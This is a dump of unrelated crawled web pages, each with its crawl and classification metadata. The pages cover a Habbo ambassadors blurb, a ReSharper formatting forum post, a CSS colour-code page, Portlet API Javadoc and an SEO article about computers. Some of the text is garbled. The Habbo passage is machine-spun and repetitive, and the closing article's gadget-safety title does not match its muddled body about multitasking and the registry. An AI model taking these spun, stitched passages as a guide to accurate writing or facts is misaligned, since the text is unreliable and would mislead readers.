"eai_general_math": 0.008420529775321484,
"eai_open_web_math": 0.08042203634977341,
"eai_web_code": 0.0049482001923024654
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "005.133",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
},
"secondary": {
"code": "004.678",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computers and Computer science"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "3",
"label": "Apply"
},
"secondary": {
"code": "2",
"label": "Understand"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "2",
"label": "Conceptual"
}
},
"document_type_v1": {
"primary": {
"code": "5",
"label": "Social/Forum"
},
"secondary": {
"code": "4",
"label": "Code/Software"
}
},
"extraction_artifacts": {
"primary": {
"code": "3",
"label": "Irrelevant Content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "18",
"label": "Q&A Forum"
},
"secondary": {
"code": "8",
"label": "Documentation"
}
},
"reasoning_depth": {
"primary": {
"code": "2",
"label": "Basic Reasoning"
},
"secondary": {
"code": "3",
"label": "Intermediate Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "2",
"label": "Partially Correct"
},
"secondary": {
"code": "3",
"label": "Mostly Correct"
}
},
"education_level": {
"primary": {
"code": "3",
"label": "Undergraduate Level"
},
"secondary": {
"code": "2",
"label": "High School Level"
}
}
} | ece34605c058195ed03b4d393ef1a36c |
2,757,961,458,526,005,000 | Categories
pof-vs-match site
Ambassadors is a small group of seasoned Habbos who had been originally opted for by Habbo employees.
Ambassadors is a small group of seasoned Habbos who had been originally opted for by Habbo employees.
Ambassadors tends to be a team of experienced Habbos who had been in the beginning plumped for by Habbo staff members.
An ambassador’s major part would be to wele new users into resorts. In addition they make certain open areas are generally wonderful, safe and secure spots for folks to hang out. Ambassadors may also be helpful continue recognized match rooms blocker-free. It absolutely was released the next of November, 2014. Even though they experienced enrolled with a bunch for Ambassadors the 27th of October, 2014.
After the initial tide of this ambassadors is launched, Habbo introduced a full page on the customer support web site assist.habbo. in regards to the ambassadors and the ways to bee one, Stating that owner’s needs to be one parent, posses on a clean history and employ the bully device typically.
Ambassador’s also host a selection of parties inside habbo, surely the Infobus, which is an educational discussion about various subjects including bullying, scamming and the majority of just recently cancer of the breast recognition.
The Ambassador organization is definitely split into timezones, with simply minimal rooms in each place. These locations happen to be; EU, US/CA, and AU/NZ/SG. | {
"url": "https://event.menangsaham.com/category/pof-vs-match-site-2/",
"source_domain": "event.menangsaham.com",
"snapshot_id": "crawl=CC-MAIN-2021-49",
"warc_metadata": {
"Content-Length": "232284",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:UYTTBYNLVO2FLL65QBE6U3SVWQD4D54U",
"WARC-Concurrent-To": "<urn:uuid:6ecfc3d6-5937-47bd-b598-4469a9b7d996>",
"WARC-Date": "2021-12-03T22:29:26Z",
"WARC-IP-Address": "103.233.2.151",
"WARC-Identified-Payload-Type": "text/html",
"WARC-Payload-Digest": "sha1:N6JKOAUR4SXKYPXCF5TXEWFEKWHH3ZSL",
"WARC-Record-ID": "<urn:uuid:25065bce-6745-41a1-9e31-a013d053c917>",
"WARC-Target-URI": "https://event.menangsaham.com/category/pof-vs-match-site-2/",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:84491079-eeb3-446f-b7e3-eab530fcc293>"
},
"warc_info": "isPartOf: CC-MAIN-2021-49\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for November/December 2021\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-67-67-235\r\nsoftware: Apache Nutch 1.18 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.3-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: https://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/"
} | {
"line_start_idx": [
0,
11,
29,
30,
132,
133,
235,
236,
355,
356,
762,
763,
1060,
1061,
1296,
1297
],
"line_end_idx": [
11,
29,
30,
132,
133,
235,
236,
355,
356,
762,
763,
1060,
1061,
1296,
1297,
1456
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 1456,
"ccnet_original_nlines": 15,
"rps_doc_curly_bracket": 0,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.38129496574401855,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.02158273011445999,
"rps_doc_frac_lines_end_with_ellipsis": 0,
"rps_doc_frac_no_alph_words": 0.1366906464099884,
"rps_doc_frac_unique_words": 0.6206896305084229,
"rps_doc_mean_word_length": 5.107758522033691,
"rps_doc_num_sentences": 14,
"rps_doc_symbol_to_word_ratio": 0,
"rps_doc_unigram_entropy": 4.680911540985107,
"rps_doc_word_count": 232,
"rps_doc_frac_chars_dupe_10grams": 0.15105484426021576,
"rps_doc_frac_chars_dupe_5grams": 0.15105484426021576,
"rps_doc_frac_chars_dupe_6grams": 0.15105484426021576,
"rps_doc_frac_chars_dupe_7grams": 0.15105484426021576,
"rps_doc_frac_chars_dupe_8grams": 0.15105484426021576,
"rps_doc_frac_chars_dupe_9grams": 0.15105484426021576,
"rps_doc_frac_chars_top_2gram": 0.03291139006614685,
"rps_doc_frac_chars_top_3gram": 0.030379749834537506,
"rps_doc_frac_chars_top_4gram": 0.040506329387426376,
"rps_doc_books_importance": -126.93743133544922,
"rps_doc_books_importance_length_correction": -122.13734436035156,
"rps_doc_openwebtext_importance": -80.50709533691406,
"rps_doc_openwebtext_importance_length_correction": -80.50709533691406,
"rps_doc_wikipedia_importance": -67.9880599975586,
"rps_doc_wikipedia_importance_length_correction": -59.00627136230469
},
"fasttext": {
"dclm": 0.022754009813070297,
"english": 0.9698774814605713,
"fineweb_edu_approx": 1.3322227001190186,
"eai_general_math": 0.06753253936767578,
"eai_open_web_math": 0.13867592811584473,
"eai_web_code": 0.004716809839010239
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "004.67",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computers and Computer science"
}
},
"secondary": {
"code": "302.2",
"labels": {
"level_1": "Social sciences",
"level_2": "",
"level_3": "Social psychology"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "2",
"label": "Understand"
},
"secondary": {
"code": "3",
"label": "Apply"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "1",
"label": "Factual"
},
"secondary": {
"code": "2",
"label": "Conceptual"
}
},
"document_type_v1": {
"primary": {
"code": "3",
"label": "Reference/Encyclopedic/Educational"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"extraction_artifacts": {
"primary": {
"code": "3",
"label": "Irrelevant Content"
},
"secondary": {
"code": "0",
"label": "No Artifacts"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "10",
"label": "Knowledge Article"
},
"secondary": {
"code": "1",
"label": "About (Org.)"
}
},
"reasoning_depth": {
"primary": {
"code": "2",
"label": "Basic Reasoning"
},
"secondary": {
"code": "1",
"label": "No Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "6",
"label": "Not Applicable/Indeterminate"
},
"secondary": {
"code": "3",
"label": "Mostly Correct"
}
},
"education_level": {
"primary": {
"code": "1",
"label": "General Audience"
},
"secondary": {
"code": "2",
"label": "High School Level"
}
}
} | ece34605c058195ed03b4d393ef1a36c |
6,152,213,685,810,560,000 | R#8 and Cleanup Code sometimes fail to format the code correctly!
Hello,
Since I've upgraded to R#8 I noticed that sometimes it fails to format the code correctly.
In C#, sometimes it fails to add the extra line between methods or variables.
In JavaScript, sometimes it just doesn't format it correctly the indentation is not aligned correctly.
I've noticed that sometimes it will also put the semi-colon below the curly brackets and this goes both to C# and JavaScript!
The code itself is valid, compile and working.
Please sign in to leave a comment. | {
"url": "https://resharper-support.jetbrains.com/hc/en-us/community/posts/206657255-R-8-and-Cleanup-Code-sometimes-fail-to-format-the-code-correctly-",
"source_domain": "resharper-support.jetbrains.com",
"snapshot_id": "crawl=CC-MAIN-2020-16",
"warc_metadata": {
"Content-Length": "20745",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:C3O3Y6OUP4DPWXTSYKHOUWIS73ST3WSJ",
"WARC-Concurrent-To": "<urn:uuid:66ad3ac5-ccf1-4946-a219-309cd71c644e>",
"WARC-Date": "2020-04-05T01:33:00Z",
"WARC-IP-Address": "104.16.55.111",
"WARC-Identified-Payload-Type": "text/html",
"WARC-Payload-Digest": "sha1:RKWMXSKMGLARNQWRPR344F5L4Z4ZRHP3",
"WARC-Record-ID": "<urn:uuid:ec1f4a68-9dde-4727-8d7d-2640e6802b83>",
"WARC-Target-URI": "https://resharper-support.jetbrains.com/hc/en-us/community/posts/206657255-R-8-and-Cleanup-Code-sometimes-fail-to-format-the-code-correctly-",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:fca43c2f-5b23-4a83-9798-1c65e5bcd16f>"
},
"warc_info": "isPartOf: CC-MAIN-2020-16\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for March/April 2020\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-67-67-136.ec2.internal\r\nsoftware: Apache Nutch 1.16 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.1-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: http://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/"
} | {
"line_start_idx": [
0,
66,
67,
74,
75,
166,
167,
245,
246,
349,
350,
476,
477,
524,
525
],
"line_end_idx": [
66,
67,
74,
75,
166,
167,
245,
246,
349,
350,
476,
477,
524,
525,
559
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 559,
"ccnet_original_nlines": 14,
"rps_doc_curly_bracket": 0,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.37288135290145874,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.05932202935218811,
"rps_doc_frac_lines_end_with_ellipsis": 0,
"rps_doc_frac_no_alph_words": 0.16949152946472168,
"rps_doc_frac_unique_words": 0.5744680762290955,
"rps_doc_mean_word_length": 4.680850982666016,
"rps_doc_num_sentences": 7,
"rps_doc_symbol_to_word_ratio": 0.033898308873176575,
"rps_doc_unigram_entropy": 3.7477216720581055,
"rps_doc_word_count": 94,
"rps_doc_frac_chars_dupe_10grams": 0,
"rps_doc_frac_chars_dupe_5grams": 0.1090909093618393,
"rps_doc_frac_chars_dupe_6grams": 0,
"rps_doc_frac_chars_dupe_7grams": 0,
"rps_doc_frac_chars_dupe_8grams": 0,
"rps_doc_frac_chars_dupe_9grams": 0,
"rps_doc_frac_chars_top_2gram": 0.10000000149011612,
"rps_doc_frac_chars_top_3gram": 0.05000000074505806,
"rps_doc_frac_chars_top_4gram": 0.06818182021379471,
"rps_doc_books_importance": -42.200050354003906,
"rps_doc_books_importance_length_correction": -56.31698226928711,
"rps_doc_openwebtext_importance": -23.82004737854004,
"rps_doc_openwebtext_importance_length_correction": -37.936981201171875,
"rps_doc_wikipedia_importance": -8.971207618713379,
"rps_doc_wikipedia_importance_length_correction": -23.0881404876709
},
"fasttext": {
"dclm": 0.6436213254928589,
"english": 0.9389265775680542,
"fineweb_edu_approx": 2.5452616214752197,
"eai_general_math": 0.7579764127731323,
"eai_open_web_math": 0.5528498291969299,
"eai_web_code": 0.17835766077041626
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "005.1332",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
},
"secondary": {
"code": "005.133",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "2",
"label": "Understand"
},
"secondary": {
"code": "3",
"label": "Apply"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "2",
"label": "Conceptual"
},
"secondary": {
"code": "3",
"label": "Procedural"
}
},
"document_type_v1": {
"primary": {
"code": "5",
"label": "Social/Forum"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"extraction_artifacts": {
"primary": {
"code": "0",
"label": "No Artifacts"
},
"secondary": {
"code": "3",
"label": "Irrelevant Content"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "18",
"label": "Q&A Forum"
},
"secondary": {
"code": "21",
"label": "Customer Support"
}
},
"reasoning_depth": {
"primary": {
"code": "2",
"label": "Basic Reasoning"
},
"secondary": {
"code": "1",
"label": "No Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "6",
"label": "Not Applicable/Indeterminate"
},
"secondary": {
"code": "3",
"label": "Mostly Correct"
}
},
"education_level": {
"primary": {
"code": "2",
"label": "High School Level"
},
"secondary": {
"code": "1",
"label": "General Audience"
}
}
} | ece34605c058195ed03b4d393ef1a36c |
-7,254,844,356,917,091,000 | COLOR NAMES
CSS CODE
COPY HEX CODE
PALETTE
HASHTAGCOLOR
#0c9306
rgb(12,147,6)
CSS & HTML COLOR CODES
CSS text color using an HTML tag
<p style='color:#0c9306'>Lorem ipsum consectetur adipiscing.</p>
clipboard
CSS text, background, border color using a class
.text_color{ color:#0c9306; } /*create a class called text_color*/
clipboard
.background_color{ background-color:#0c9306; }
clipboard
.border_color{ border:2px solid #0c9306; }
clipboard
.text_color_rgb{ color:rgb(12,147,6); }
clipboard
.bg_opacity{ background-color:rgba(12,147,6,0.5); }
clipboard
<div class='text_color'>Lorem ipsum consectetur adipiscing.</p>
/*How to use the class called text_color or use another class name*/
clipboard
rgba = red, green, blue, alpha where alpha is a number between 0 (Transparent) and 1 (Opaque)
© 2020 - Hashtagcolor.com - BETA v1.1 - Contact - Cookies - Privacy - infos
im | {
"url": "https://hashtagcolor.com/0c9306",
"source_domain": "hashtagcolor.com",
"snapshot_id": "crawl=CC-MAIN-2020-34",
"warc_metadata": {
"Content-Length": "35366",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:KBD36RN7VDO7CWTZ4PHLEQRSCTYY6M35",
"WARC-Concurrent-To": "<urn:uuid:5ebf84fc-42eb-4eaf-80ee-fd555904f7b6>",
"WARC-Date": "2020-08-14T07:26:55Z",
"WARC-IP-Address": "213.186.33.24",
"WARC-Identified-Payload-Type": "text/html",
"WARC-Payload-Digest": "sha1:OQFECGJLEXBROE7W7QBGF2EPJQC2CCJ3",
"WARC-Record-ID": "<urn:uuid:fe901ba8-dbff-4100-99df-c068b9159f21>",
"WARC-Target-URI": "https://hashtagcolor.com/0c9306",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:65fffa4d-1907-451c-89f7-274ba3dff937>"
},
"warc_info": "isPartOf: CC-MAIN-2020-34\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for August 2020\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-67-67-25.ec2.internal\r\nsoftware: Apache Nutch 1.17 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.2-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: http://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/"
} | {
"line_start_idx": [
0,
12,
21,
35,
43,
56,
57,
65,
66,
80,
103,
136,
203,
213,
262,
331,
341,
390,
400,
445,
455,
497,
507,
561,
571,
636,
706,
716,
810,
886
],
"line_end_idx": [
12,
21,
35,
43,
56,
57,
65,
66,
80,
103,
136,
203,
213,
262,
331,
341,
390,
400,
445,
455,
497,
507,
561,
571,
636,
706,
716,
810,
886,
888
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 888,
"ccnet_original_nlines": 29,
"rps_doc_curly_bracket": 0.011261260136961937,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0.002638519974425435,
"rps_doc_stop_word_fraction": 0.10294117778539658,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.0833333283662796,
"rps_doc_frac_lines_end_with_ellipsis": 0,
"rps_doc_frac_no_alph_words": 0.44607841968536377,
"rps_doc_frac_unique_words": 0.7058823704719543,
"rps_doc_mean_word_length": 6.441176414489746,
"rps_doc_num_sentences": 11,
"rps_doc_symbol_to_word_ratio": 0.024509800598025322,
"rps_doc_unigram_entropy": 4.11421012878418,
"rps_doc_word_count": 102,
"rps_doc_frac_chars_dupe_10grams": 0,
"rps_doc_frac_chars_dupe_5grams": 0,
"rps_doc_frac_chars_dupe_6grams": 0,
"rps_doc_frac_chars_dupe_7grams": 0,
"rps_doc_frac_chars_dupe_8grams": 0,
"rps_doc_frac_chars_dupe_9grams": 0,
"rps_doc_frac_chars_top_2gram": 0.021308980882167816,
"rps_doc_frac_chars_top_3gram": 0.08219178020954132,
"rps_doc_frac_chars_top_4gram": 0,
"rps_doc_books_importance": -107.04576873779297,
"rps_doc_books_importance_length_correction": -107.04576873779297,
"rps_doc_openwebtext_importance": -56.93608474731445,
"rps_doc_openwebtext_importance_length_correction": -48.98788070678711,
"rps_doc_wikipedia_importance": -45.57266616821289,
"rps_doc_wikipedia_importance_length_correction": -45.57266616821289
},
"fasttext": {
"dclm": 0.8949598073959351,
"english": 0.2963762581348419,
"fineweb_edu_approx": 3.650285482406616,
"eai_general_math": 0.048631008714437485,
"eai_open_web_math": 0.11772763729095459,
"eai_web_code": 0.35304421186447144
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "005.1",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
},
"secondary": {
"code": "-1",
"labels": {
"level_1": "",
"level_2": "",
"level_3": ""
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "3",
"label": "Apply"
},
"secondary": {
"code": "2",
"label": "Understand"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "1",
"label": "Factual"
}
},
"document_type_v1": {
"primary": {
"code": "3",
"label": "Reference/Encyclopedic/Educational"
},
"secondary": {
"code": "4",
"label": "Code/Software"
}
},
"extraction_artifacts": {
"primary": {
"code": "3",
"label": "Irrelevant Content"
},
"secondary": {
"code": "0",
"label": "No Artifacts"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "8",
"label": "Documentation"
},
"secondary": {
"code": "23",
"label": "Tutorial"
}
},
"reasoning_depth": {
"primary": {
"code": "2",
"label": "Basic Reasoning"
},
"secondary": {
"code": "1",
"label": "No Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "4",
"label": "Highly Correct"
},
"secondary": {
"code": "3",
"label": "Mostly Correct"
}
},
"education_level": {
"primary": {
"code": "2",
"label": "High School Level"
},
"secondary": {
"code": "1",
"label": "General Audience"
}
}
} | ece34605c058195ed03b4d393ef1a36c |
8,417,664,442,452,311,000 | Portlet API (V1.0)
javax.portlet
Interface PortletResponse
All Known Subinterfaces:
ActionResponse, RenderResponse
public interface PortletResponse
The PortletResponse defines the base interface to assist a portlet in creating and sending a response to the client. The portlet container uses two specialized versions of this interface when invoking a portlet, ActionResponse and RenderResponse. The portlet container creates these objects and passes them as arguments to the portlet's processAction and render methods.
See Also:
ActionResponse, RenderResponse
Method Summary
void addProperty(java.lang.String key, java.lang.String value)
Adds a String property to an existing key to be returned to the portal.
java.lang.String encodeURL(java.lang.String path)
Returns the encoded URL of the resource, like servlets, JSPs, images and other static files, at the given path.
void setProperty(java.lang.String key, java.lang.String value)
Sets a String property to be returned to the portal.
Method Detail
addProperty
public void addProperty(java.lang.String key,
java.lang.String value)
Adds a String property to an existing key to be returned to the portal.
This method allows response properties to have multiple values.
Properties can be used by portlets to provide vendor specific information to the portal.
Parameters:
key - the key of the property to be returned to the portal
value - the value of the property to be returned to the portal
Throws:
java.lang.IllegalArgumentException - if key is null.
setProperty
public void setProperty(java.lang.String key,
java.lang.String value)
Sets a String property to be returned to the portal.
Properties can be used by portlets to provide vendor specific information to the portal.
This method resets all properties previously added with the same key.
Parameters:
key - the key of the property to be returned to the portal
value - the value of the property to be returned to the portal
Throws:
java.lang.IllegalArgumentException - if key is null.
encodeURL
public java.lang.String encodeURL(java.lang.String path)
Returns the encoded URL of the resource, like servlets, JSPs, images and other static files, at the given path.
Some portal/portlet-container implementation may require those URLs to contain implementation specific data encoded in it. Because of that, portlets should use this method to create such URLs.
The encodeURL method may include the session ID and other portal/portlet-container specific information into the URL. If encoding is not needed, it returns the URL unchanged.
Parameters:
path - the URI path to the resource. This must be either an absolute URL (e.g. http://my.co/myportal/mywebap/myfolder/myresource.gif) or a full path URI (e.g. /myportal/mywebap/myfolder/myresource.gif).
Returns:
the encoded resource URL as string
Throws:
java.lang.IllegalArgumentException - if path doesn't have a leading slash or is not an absolute URL
Portlet API (V1.0)
Copyright © 2003 IBM Corporation and Sun Microsystems, Inc. All rights reserved | {
"url": "https://portals.apache.org/pluto/portlet-1.0-apidocs/javax/portlet/PortletResponse.html?is-external=true",
"source_domain": "portals.apache.org",
"snapshot_id": "crawl=CC-MAIN-2021-49",
"warc_metadata": {
"Content-Length": "11426",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:NEI2AFMTG4IWMJRUADY5BM3NGCGLX6WL",
"WARC-Concurrent-To": "<urn:uuid:091aad5b-6733-488b-9769-4faffcf51f45>",
"WARC-Date": "2021-12-06T14:35:16Z",
"WARC-IP-Address": "151.101.2.132",
"WARC-Identified-Payload-Type": "text/html",
"WARC-Payload-Digest": "sha1:44ZI3PD42L7JWKWJAKRUX67RUNQ3DEV2",
"WARC-Record-ID": "<urn:uuid:2f19b5cc-b250-4fa8-bdfb-a8f2eb12ff25>",
"WARC-Target-URI": "https://portals.apache.org/pluto/portlet-1.0-apidocs/javax/portlet/PortletResponse.html?is-external=true",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:d783fda3-0064-4baa-9fe3-4d0dc88c1145>"
},
"warc_info": "isPartOf: CC-MAIN-2021-49\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for November/December 2021\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-67-67-6\r\nsoftware: Apache Nutch 1.18 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.3-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: https://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/"
} | {
"line_start_idx": [
0,
19,
20,
34,
60,
61,
86,
117,
118,
151,
152,
523,
524,
534,
565,
566,
581,
645,
727,
778,
900,
964,
1027,
1029,
1030,
1044,
1045,
1057,
1058,
1104,
1152,
1224,
1225,
1289,
1290,
1379,
1380,
1392,
1451,
1514,
1522,
1575,
1576,
1588,
1589,
1635,
1683,
1736,
1737,
1826,
1827,
1897,
1898,
1910,
1969,
2032,
2040,
2093,
2094,
2104,
2105,
2162,
2274,
2275,
2468,
2469,
2644,
2645,
2657,
2860,
2869,
2904,
2912,
3012,
3013,
3032,
3033
],
"line_end_idx": [
19,
20,
34,
60,
61,
86,
117,
118,
151,
152,
523,
524,
534,
565,
566,
581,
645,
727,
778,
900,
964,
1027,
1029,
1030,
1044,
1045,
1057,
1058,
1104,
1152,
1224,
1225,
1289,
1290,
1379,
1380,
1392,
1451,
1514,
1522,
1575,
1576,
1588,
1589,
1635,
1683,
1736,
1737,
1826,
1827,
1897,
1898,
1910,
1969,
2032,
2040,
2093,
2094,
2104,
2105,
2162,
2274,
2275,
2468,
2469,
2644,
2645,
2657,
2860,
2869,
2904,
2912,
3012,
3013,
3032,
3033,
3112
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 3112,
"ccnet_original_nlines": 76,
"rps_doc_curly_bracket": 0,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.2883031368255615,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.024711700156331062,
"rps_doc_frac_lines_end_with_ellipsis": 0,
"rps_doc_frac_no_alph_words": 0.22240526974201202,
"rps_doc_frac_unique_words": 0.3612440228462219,
"rps_doc_mean_word_length": 5.851674556732178,
"rps_doc_num_sentences": 63,
"rps_doc_symbol_to_word_ratio": 0,
"rps_doc_unigram_entropy": 4.482691287994385,
"rps_doc_word_count": 418,
"rps_doc_frac_chars_dupe_10grams": 0.45543745160102844,
"rps_doc_frac_chars_dupe_5grams": 0.4636140465736389,
"rps_doc_frac_chars_dupe_6grams": 0.45543745160102844,
"rps_doc_frac_chars_dupe_7grams": 0.45543745160102844,
"rps_doc_frac_chars_dupe_8grams": 0.45543745160102844,
"rps_doc_frac_chars_dupe_9grams": 0.45543745160102844,
"rps_doc_frac_chars_top_2gram": 0.02657400071620941,
"rps_doc_frac_chars_top_3gram": 0.04497138038277626,
"rps_doc_frac_chars_top_4gram": 0.04578904062509537,
"rps_doc_books_importance": -297.8217468261719,
"rps_doc_books_importance_length_correction": -297.8217468261719,
"rps_doc_openwebtext_importance": -174.17041015625,
"rps_doc_openwebtext_importance_length_correction": -174.17041015625,
"rps_doc_wikipedia_importance": -165.00759887695312,
"rps_doc_wikipedia_importance_length_correction": -165.00759887695312
},
"fasttext": {
"dclm": 0.5088209509849548,
"english": 0.6129395365715027,
"fineweb_edu_approx": 2.3144235610961914,
"eai_general_math": 0.08315753936767578,
"eai_open_web_math": 0.05690163001418114,
"eai_web_code": 0.23008882999420166
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "005.133",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
},
"secondary": {
"code": "005.1",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "2",
"label": "Understand"
},
"secondary": {
"code": "3",
"label": "Apply"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "2",
"label": "Conceptual"
},
"secondary": {
"code": "3",
"label": "Procedural"
}
},
"document_type_v1": {
"primary": {
"code": "3",
"label": "Reference/Encyclopedic/Educational"
},
"secondary": {
"code": "4",
"label": "Code/Software"
}
},
"extraction_artifacts": {
"primary": {
"code": "0",
"label": "No Artifacts"
},
"secondary": {
"code": "3",
"label": "Irrelevant Content"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "8",
"label": "Documentation"
},
"secondary": {
"code": "10",
"label": "Knowledge Article"
}
},
"reasoning_depth": {
"primary": {
"code": "2",
"label": "Basic Reasoning"
},
"secondary": {
"code": "3",
"label": "Intermediate Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "4",
"label": "Highly Correct"
},
"secondary": {
"code": "5",
"label": "Exceptionally Correct"
}
},
"education_level": {
"primary": {
"code": "4",
"label": "Graduate/Expert Level"
},
"secondary": {
"code": "3",
"label": "Undergraduate Level"
}
}
} | ece34605c058195ed03b4d393ef1a36c |
5,793,695,324,576,951,000 | How To Keep Your Gadgets Safe Whereas On An Adventure Journey
Have you ever realized that the brain and a pc have nearly related features? Many college students do parallel computer classes along with their schooling nowadays. This provides the guarantee that after finishing their commencement, the students won’t have any problems with utilizing technology when they are out in their office or in their own business, which might help to make them more productive in comparison with a person who has no information to a certain software or know-how in school. Since the numbers of ladies in STEM are nonetheless small, girls have only a few opportunities to see feminine position fashions fixing science, technology, engineering or math issues. Academics ought to carry feminine position models into the classroom as guest speakers or lecturers, or go to them on business excursions, to ship the message to women that they will succeed within the STEM classroom and careers.
This can be a very useful gadget if you find yourself constantly checking what your mates are doing throughout a number of social networks, reminiscent of twitter, Flickr, StumbleUpon, customized blogs, and many others. This gadget shows your Home windows Dwell “what’s new” feed on your desktop with actual-time updates. Technology has also turn out to be part of many curriculums, even outside of pc and technology lessons. Students use computers to create presentations and use the Web to research matters for papers and essays.
What is the meaning of multitasking? It signifies that operating a number of applications concurrently. Since modern computers usually execute directions a number of orders of magnitude sooner than human notion, it might seem that many applications are operating at the same time though only one is ever executing in any given instantaneous. Multitasking may slow down a computer that’s operating a number of programs at one time. Random entry reminiscence (RAM) gives the house for all of the momentary utility information storage. Each time a computer wants some information, as a substitute of going back and discovering info on the hard drive, it will get it all in the RAM because it stores all the continuously used applications. This becomes easy for the system to search out the required data.
Step three – Clean Out The Registry – One of many largest causes of slow downloads is actually due to Home windows itself. Many computer systems find yourself making their downloads run sluggish as a result of the settings inside them are unable to be learn quickly or smoothly. This can be a drawback which even the most superior of Home windows systems can not keep away from and is where your computer will truly save many of its most essential settings within the mistaken manner, corrupting & damaging them. This can make them unable to be read – which implies that when you LAPTOP needs to obtain a file and it must read a collection of settings to do this, it’s going to find yourself taking rather a lot longer than regular.
